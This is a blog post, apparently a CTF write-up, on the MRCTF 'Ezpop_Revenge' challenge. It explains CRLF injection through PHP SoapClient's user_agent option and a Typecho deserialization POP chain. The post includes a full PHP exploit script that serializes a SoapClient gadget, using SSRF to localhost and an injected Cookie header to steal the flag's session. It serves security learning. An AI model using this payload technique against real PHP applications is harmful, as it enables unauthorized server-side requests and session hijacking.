江鸟's Blog

从ctf中学习利用利用SoapClient类的SSRF+CRLF攻击

字数统计: 1.2k阅读时长: 5 min
2020/04/03 Share

从ctf中学习利用利用SoapClient类的SSRF+CRLF攻击

soap介绍

SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。

或者更简单地说:SOAP 是用于访问网络服务的协议。

产生漏洞的原因

PHP 的 SOAP 扩展可以用来提供和使用 Web Services,在 SoapClient 中,可以看到有这样的用法,

1
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

在$options的介绍中,有这样一句话

1
The user_agent option specifies string to use in User-Agent header.

可以使用user_agent选项定义User-Agent头

如何利用User-Agent进行CRLF漏洞?

因为User-Agent的http header位置正好在Content-Type 和 Content-Length这些之上,所以可以进行覆盖,达成CRLF漏洞。关于CRLF漏洞可以看[这篇文章]([https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html](https://wooyun.js.org/drops/CRLF Injection漏洞的利用与实例分析.html))

Ezpop_Revenge

考点

反序列化pop链构造,SSRF

解题过程

www.zip老套路拿到源码,进行分析,先找入口,直接全局搜索MRCTF就能找到关键代码

image-20200616094321665

usr/plugins/HelloWorld/Plugin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}

class HelloWorld_Plugin implements Typecho_Plugin_Interface
{
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
}

以及flag.php

1
2
3
4
5
6
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

可以看到Plugin.php中如果有$_REQUEST['admin']就会输出session,并且$_SERVER['REMOTE_ADDR']==="127.0.0.1"的话,flag也是在session中的。

HelloWorld_DB__wakeup()方法内实例化了Typecho_Db类,查看/var/Typecho/Db.php内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}
}

代码长就只贴关键的了,

Typecho_Db_Exception类在/var/Typecho/Db/Query.php中,这里有一个//__toString()的注释,直接看__toString函数里的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public function __construct(Typecho_Db_Adapter $adapter, $prefix)
{
$this->_adapter = &$adapter;
$this->_prefix = $prefix;

$this->_sqlPreBuild = self::$_default;
}
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}

return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}

假设我们把_adapter实例化为SoapClient,在调用parseSelect这个不存在的方法时,会自动调用_call方法,就用上文的方法来执行

1
public SoapClient::__call ( string $function_name , array $arguments )
1
2
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);

pop链

  • 反序列化位于/usr/plugins/HelloWord/Plugin.php中的HelloWorld_DB类,触发__wakeup(),实例化Typecho_Db

  • 位于/var/Typecho/Db.php跟进Typecho_Db类,传输的$this->coincidence['hello']__construct的$adapterName参数

  • $this->coincidence['hello']实例化Typecho_Db_Query对象,控制其中的$adapterName
    $adapterName拼接到字符串中,触发__tostring

  • 私有变量$_adapter为soap类来本地访问flag.php

  • 在调用parseSelect这个不存在的方法时,会自动调用_call方法,完成反序列化

想要带SESSION出来,需要传PHPSESSID,这里用CRLF漏洞来执行。只要在UA后加上\r\nCookie: PHPSESSID=xxx就能为http头添加一个新的Cookie字段,这样就能带上session了。

构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;

public function __construct()
{
$target = 'http://127.0.0.1/flag.php';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=6m5gros2iar5ds6amiua24mgn1'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'aaaa^^'.join('^^',$headers),'uri' => "aaab"));
$this->_sqlPreBuild =array("action"=>"SELECT");
$this->_adapter = $b;
}
}


class HelloWorld_DB
{
private $coincidence;

public function __construct()
{
$this->coincidence = ["hello" => new Typecho_Db_Query()];
}
}

$a = new HelloWorld_DB();
$aaa = serialize($a);

这时候我们把结果s改为S,并添加\00

再进行

1
2
$aaa = str_replace('^^',"\r\n",$aaa);
echo base64_encode($aaa);

不用带上post内容再重新访问页面就可以了

image-20200616112728392

小结

在这个题目中,主要用到的是替换cookie以及内网的功能,可以更多使用ssrf来打内容,通过CRLF的,可以执行其他操作包括sql注入,命令执行,也是很大的攻击面,除了php,soap还有其他利用方式需要继续学习。

CATALOG
  1. 1. 从ctf中学习利用利用SoapClient类的SSRF+CRLF攻击
    1. 1.1. soap介绍
      1. 1.1.1. 产生漏洞的原因
    2. 1.2. Ezpop_Revenge
      1. 1.2.1. 考点
      2. 1.2.2. 解题过程
      3. 1.2.3. pop链
      4. 1.2.4. 构造脚本
    3. 1.3. 小结